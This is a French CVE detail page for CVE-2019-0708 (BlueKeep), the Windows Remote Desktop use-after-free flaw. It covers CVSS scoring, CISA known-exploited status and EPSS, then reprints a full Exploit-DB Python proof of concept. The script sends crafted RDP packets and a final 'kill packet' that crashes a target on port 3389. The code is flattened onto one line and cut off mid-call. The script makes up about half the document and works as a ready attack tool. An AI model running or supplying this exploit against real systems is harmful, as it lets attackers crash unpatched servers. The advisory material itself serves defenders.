CVE-2019-0708 : Détail

CVE-2019-0708

9.8
/
CRITICAL
Memory Corruption
97.48%V3
Network
2019-05-16 16:17 +00:00
2021-06-03 15:06 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests, aka 'Remote Desktop Services Remote Code Execution Vulnerability'.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Remote Desktop Services Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-11-02 23:00 +00:00

Action attendue : 2022-05-02 22:00 +00:00

Informations importantes

Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46946

Date de publication : 2019-05-29 22:00 +00:00
Auteur : n1xbyte
EDB Vérifié : No

import socket, sys, struct from OpenSSL import SSL from impacket.structure import Structure # I'm not responsible for what you use this to accomplish and should only be used for education purposes # Could clean these up since I don't even use them class TPKT(Structure): commonHdr = ( ('Version','B=3'), ('Reserved','B=0'), ('Length','>H=len(TPDU)+4'), ('_TPDU','_-TPDU','self["Length"]-4'), ('TPDU',':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator','B=len(VariablePart)+1'), ('Code','B=0'), ('VariablePart',':=""'), ) def __init__(self, data = None): Structure.__init__(self,data) self['VariablePart']='' class CR_TPDU(Structure): commonHdr = ( ('DST-REF','<H=0'), ('SRC-REF','<H=0'), ('CLASS-OPTION','B=0'), ('Type','B=0'), ('Flags','B=0'), ('Length','<H=8'), ) class DATA_TPDU(Structure): commonHdr = ( ('EOT','B=0x80'), ('UserData',':=""'), ) def __init__(self, data = None): Structure.__init__(self,data) self['UserData'] ='' class RDP_NEG_REQ(CR_TPDU): structure = ( ('requestedProtocols','<L'), ) def __init__(self,data=None): CR_TPDU.__init__(self,data) if data is None: self['Type'] = 1 def send_init_packets(host): tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = 1 rdp_neg['requestedProtocols'] = 1 tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = 0xe0 tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, 3389)) s.sendall(tpkt.getData()) s.recv(8192) ctx = SSL.Context(SSL.TLSv1_METHOD) tls = SSL.Connection(ctx,s) tls.set_connect_state() tls.do_handshake() return tls # This can be fixed length now buttfuckit def send_client_data(tls): p = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x07\xc2\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x61\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00\x72\x64\x70\x73\x6e\x64\x00\x00\x0f\x00\x00\xc0\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00" size0 = struct.pack(">h", len(p)) size1 = struct.pack(">h", len(p)-12) size2 = struct.pack(">h", len(p)-109) size3 = struct.pack(">h", len(p)-118) size4 = struct.pack(">h", len(p)-132) size5 = struct.pack(">h", len(p)-390) ba = bytearray() ba.extend(map(ord, p)) ba[2] = size0[0] ba[3] = size0[1] ba[10] = size1[0] ba[11] = size1[1] ba[107] = size2[0] ba[108] = size2[1] ba[116] = 0x81 ba[117] = size3[1] ba[130] = 0x81 ba[131] = size4[1] ba[392] = size5[1] tls.sendall(bytes(ba)) tls.recv(8192) def send_client_info(tls): p = b"\x03\x00\x01\x61\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x52\x40\x00\xa1\xa5\x09\x04\x09\x04\xbb\x47\x03\x00\x00\x00\x0e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x41\x41\x41\x00\x38\x00\x2e\x00\x32\x00\x33\x00\x32\x00\x2e\x00\x31\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x41\x41\x41\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00" tls.sendall(p) def send_channel_packets(tls): p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00" tls.sendall(p1) p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" tls.sendall(p2) tls.recv(1024) p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xeb" tls.sendall(p4) tls.recv(1024) p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xec" tls.sendall(p5) tls.recv(1024) p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xed" tls.sendall(p6) tls.recv(1024) p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xee" tls.sendall(p7) tls.recv(1024) p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x07\x03\xef" tls.sendall(p8) tls.recv(1024) def send_confirm_active(tls, shareid): p = "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04" ba = bytearray() ba.extend(map(ord, p)) tls.sendall(bytes(ba)) def send_establish_session(tls): p = b"\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00\x01\x00\xea\x03" tls.sendall(p) p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" tls.sendall(p) p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" tls.sendall(p) p = b"\x03\x00\x05\x81\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x85\x72\x72\x05\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x2b\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x02\x00\x00\x00\xa3\xce\x20\x35\xdb\x94\xa5\xe6\x0d\xa3\x8c\xfb\x64\xb7\x63\xca\xe7\x9a\x84\xc1\x0d\x67\xb7\x91\x76\x71\x21\xf9\x67\x96\xc0\xa2\x77\x5a\xd8\xb2\x74\x4f\x30\x35\x2b\xe7\xb0\xd2\xfd\x81\x90\x1a\x8f\xd5\x5e\xee\x5a\x6d\xcb\xea\x2f\xa5\x2b\x06\xe9\x0b\x0b\xa6\xad\x01\x2f\x7a\x0b\x7c\xff\x89\xd3\xa3\xe1\xf8\x00\x96\xa6\x8d\x9a\x42\xfc\xab\x14\x05\x8f\x16\xde\xc8\x05\xba\xa0\xa8\xed\x30\xd8\x67\x82\xd7\x9f\x84\xc3\x38\x27\xda\x61\xe3\xa8\xc3\x65\xe6\xec\x0c\xf6\x36\x24\xb2\x0b\xa6\x17\x1f\x46\x30\x16\xc7\x73\x60\x14\xb5\xf1\x3a\x3c\x95\x7d\x7d\x2f\x74\x7e\x56\xff\x9c\xe0\x01\x32\x9d\xf2\xd9\x35\x5e\x95\x78\x2f\xd5\x15\x6c\x18\x34\x0f\x43\xd7\x2b\x97\xa9\xb4\x28\xf4\x73\x6c\x16\xdb\x43\xd7\xe5\x58\x0c\x5a\x03\xe3\x73\x58\xd7\xd9\x76\xc2\xfe\x0b\xd7\xf4\x12\x43\x1b\x70\x6d\x74\xc2\x3d\xf1\x26\x60\x58\x80\x31\x07\x0e\x85\xa3\x95\xf8\x93\x76\x99\x9f\xec\xa0\xd4\x95\x5b\x05\xfa\x4f\xdf\x77\x8a\x7c\x29\x9f\x0b\x4f\xa1\xcb\xfa\x95\x66\xba\x47\xe3\xb0\x44\xdf\x83\x03\x44\x24\xf4\x1e\xf2\xe5\xcb\xa9\x53\x04\xc2\x76\xcb\x4d\xc6\xc2\xd4\x3f\xd3\x8c\xb3\x7c\xf3\xaa\xf3\x93\xfe\x25\xbd\x32\x7d\x48\x6e\x93\x96\x68\xe5\x18\x2b\xea\x84\x25\x69\x02\xa5\x38\x65\x6f\x0f\x9f\xf6\xa1\x3a\x1d\x22\x9d\x3f\x6d\xe0\x4c\xee\x8b\x24\xf0\xdc\xff\x70\x52\xa7\x0d\xf9\x52\x8a\x1e\x33\x1a\x30\x11\x15\xd7\xf8\x95\xa9\xbb\x74\x25\x8c\xe3\xe9\x93\x07\x43\xf5\x50\x60\xf7\x96\x2e\xd3\xff\x63\xe0\xe3\x24\xf1\x10\x3d\x8e\x0f\x56\xbc\x2e\xb8\x90\x0c\xfa\x4b\x96\x68\xfe\x59\x68\x21\xd0\xff\x52\xfe\x5c\x7d\x90\xd4\x39\xbe\x47\x9d\x8e\x7a\xaf\x95\x4f\x10\xea\x7b\x7a\xd3\xca\x07\x28\x3e\x4e\x4b\x81\x0e\xf1\x5f\x1f\x8d\xbe\x06\x40\x27\x2f\x4a\x03\x80\x32\x67\x54\x2f\x93\xfd\x25\x5d\x6d\xa0\xad\x23\x45\x72\xff\xd1\xeb\x5b\x51\x75\xa7\x61\xe0\x3f\xe4\xef\xf4\x96\xcd\xa5\x13\x8a\xe6\x52\x74\x70\xbf\xc1\xf9\xfb\x68\x9e\xdd\x72\x8f\xb4\x44\x5f\x3a\xcb\x75\x2a\x20\xa6\x69\xd2\x76\xf9\x57\x46\x2b\x5b\xda\xba\x0f\x9b\xe0\x60\xe1\x8b\x90\x33\x41\x0a\x2d\xc5\x06\xfe\xd0\xf0\xfc\xde\x35\xd4\x1e\xaa\x76\x0b\xae\xf4\xd5\xbd\xfa\xf3\x55\xf5\xc1\x67\x65\x75\x1c\x1d\x5e\xe8\x3a\xfe\x54\x50\x23\x04\xae\x2e\x71\xc2\x76\x97\xe6\x39\xc6\xb2\x25\x87\x92\x63\x52\x61\xd1\x6c\x07\xc1\x1c\x00\x30\x0d\xa7\x2f\x55\xa3\x4f\x23\xb2\x39\xc7\x04\x6c\x97\x15\x7a\xd7\x24\x33\x91\x28\x06\xa6\xe7\xc3\x79\x5c\xae\x7f\x50\x54\xc2\x38\x1e\x90\x23\x1d\xd0\xff\x5a\x56\xd6\x12\x91\xd2\x96\xde\xcc\x62\xc8\xee\x9a\x44\x07\xc1\xec\xf7\xb6\xd9\x9c\xfe\x30\x1c\xdd\xb3\x3b\x93\x65\x3c\xb4\x80\xfb\xe3\x87\xf0\xee\x42\xd8\xcf\x08\x98\x4d\xe7\x6b\x99\x0a\x43\xed\x13\x72\x90\xa9\x67\xfd\x3c\x63\x36\xec\x55\xfa\xf6\x1f\x35\xe7\x28\xf3\x87\xa6\xce\x2e\x34\xaa\x0d\xb2\xfe\x17\x18\xa2\x0c\x4e\x5f\xf0\xd1\x98\x62\x4a\x2e\x0e\xb0\x8d\xb1\x7f\x32\x52\x8e\x87\xc9\x68\x7c\x0c\xef\xee\x88\xae\x74\x2a\x33\xff\x4b\x4d\xc5\xe5\x18\x38\x74\xc7\x28\x83\xf7\x72\x87\xfc\x79\xfb\x3e\xce\xd0\x51\x13\x2d\x7c\xb4\x58\xa2\xe6\x28\x67\x4f\xec\xa6\x81\x6c\xf7\x9a\x29\xa6\x3b\xca\xec\xb8\xa1\x27\x50\xb7\xef\xfc\x81\xbf\x5d\x86\x20\x94\xc0\x1a\x0c\x41\x50\xa9\x5e\x10\x4a\x82\xf1\x74\x1f\x78\x21\xf5\x70\x61\x24\x00\x3d\x47\x5f\xf3\x25\x80\x3c\x4b\xea\xa3\xf4\x77\xea\xa1\x42\x1a\x17\x0f\x6d\xa8\x35\x9e\x91\x26\x34\x43\x04\xc6\xc6\x5b\x21\x7d\x8c\xc7\x22\x91\x7b\x2c\x2d\x2f\xd6\x7e\xa5\x52\xa8\x08\x80\xeb\x60\xd1\x44\x09\x8e\x3c\xa1\xaa\x67\x60\x0a\x26\xc6\xb5\xc6\x79\xa6\x4f\x8b\x8c\x25\x5c\xf1\x0b\x23\xf4\xd8\xa6\x6d\xf1\x91\x78\xf9\xe5\x2a\x50\x2f\x5a\x44\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x77\x5a\xd8\xb2\x74\x4f\x30\x35\xbf\x28\xae\xd9\xa2\x98\xa5\xbc\x60\xca\xb8\x90\x4d\x20\x46\xd9\x8a\x1a\x30\x01\x8b\x38\x63\x1a\x57\x09\x51\x46\x95\x9b\xd8\x80\x0c\xb0\x77\x24\xbf\x2b\xd3\x57\x22\xd9\x19\x5c\xaf\xd6\xac\x97\xa2\xf8\x0d\x0c\xe3\xdd\x88\x48\x98\x28\x0b\x8b\xbd\x76\xdc\xde\xca\xe2\xc2\x4a\x87\x50\xd4\x8c\x56\x92\x38\xed\x6b\x9b\x5b\x1f\xba\x53\xa1\x0e\xf7\x75\x10\x53\x22\x4c\x0a\x75\x88\x54\x69\x3f\x3b\xf3\x18\x67\x6b\x0f\x19\xd1\x00\x25\x86\xcd\xa8\xd9\xdd\x1d\x8d\x26\x87\x54\xd9\x79\xc0\x74\x65\x90\xd7\x33\x32\xaf\xba\x9d\x5a\xd5\x6c\x7c\xa1\x47\xe1\x49\x6e\x1c\xce\x9f\x62\xaa\x26\x16\x3f\x3c\xec\x5b\x49\xe5\xc0\x60\xd4\xbe\xa7\x88\xbc\xa1\x9f\x29\x71\x8c\xeb\x69\xf8\x73\xfb\xaf\x29\xaa\x40\x1b\xe5\x92\xd2\x77\xa7\x2b\xfb\xb6\x77\xb7\x31\xfb\xdc\x1e\x63\x63\x7d\xf2\xfe\x3c\x6a\xba\x0b\x20\xcb\x9d\x64\xb8\x31\x14\xe2\x70\x07\x2c\xdf\x9c\x6f\xb5\x3a\xc4\xd5\xb5\xc9\x3e\x9a\xd7\xd5\x30\xdc\x0e\x19\x89\xc6\x08\x88\xe1\xca\x81\xa6\x28\xdd\x9c\x74\x05\x11\xe7\xe1\xcc\xbc\xc7\x76\xdd\x55\xe2\xcc\xc2\xcb\xd3\xb6\x48\x01\xdd\xff\xba\xca\x31\xab\x26\x44\x1c\xdc\x06\x01\xdf\xf2\x90\x50\xb8\x6b\x8f\xe8\x29\xf0\xba\xec\xfb\x2d\xfd\x7a\xfc\x7f\x57\xbd\xea\x90\xf7\xcf\x92\x1e\xc4\x20\xd0\xb6\x9f\xd6\xdc\xa1\x82\xa9\x6c\x5e\x3e\x83\x41\x57\x73\xe9\xe7\x5a\x3f\xda\x24\x4f\x73\x5e\xf4\xe0\x92\x24\xbd\x0b\xd0\x3c\x49\x96\xb5\xb5\x05\x32\xcb\x58\x1d\x6f\x97\x51\xee\x0c\xdc\x0b\x2a\x60\xef\x97\x3e\x5a\x30\x81\x15\x91\xcf\x11\x07\x25\x2c\x41\xdb\x70\x72\xe1\x75\xf6\xa5\xff\xe8\x44\xe7\x03\xe3\x61\xaa\xdb\xe0\x07\x3d\x07\x0b\xe3\x5c\x09\xa9\x5e\x10\xfd\xcf\x74\x9e\x23\xf1\x30\x86\x16\xef\x25\x4e\xfe\xa4\x93\xa5\x80\x0a\x01\x39\xcc\x11\x7a\x6e\x94\x22\x5b\xd8\xc6\xc9\xa8\xdf\x13\x96\xb3\x91\x33\x6e\x87\xbb\x94\x63\x2d\x88\x64\xa7\x58\x89\xda\xdc\x7f\x2a\xe3\xa1\x66\xe5\xc8\x7f\xc2\xdb\xc7\x7d\x2f\xa9\x46\x28\x45\x69\xbc\xac\x9f\x85\x9e\xb0\x9f\x9a\x49\xb4\xb1\xcb" tls.sendall(p) p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00" tls.sendall(p) def send_kill_packet(tls, arch): if arch == "32": p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" elif arch == "64": p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" else: print("Make the second arguement '32' or '64' without quotes") sys.exit() tls.sendall(p) def terminate_connection(tls): p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80" tls.sendall(p) def main(args): tls = send_init_packets(args[1]) send_client_data(tls) print("[+] ClientData Packet Sent") send_channel_packets(tls) print("[+] ChannelJoin/ErectDomain/AttachUser Sent") send_client_info(tls) print("[+] ClientInfo Packet Sent") tls.recv(8192) tls.recv(8192) send_confirm_active(tls, None) print("[+] ConfirmActive Packet Sent") send_establish_session(tls) print("[+] Session Established") send_kill_packet(tls, 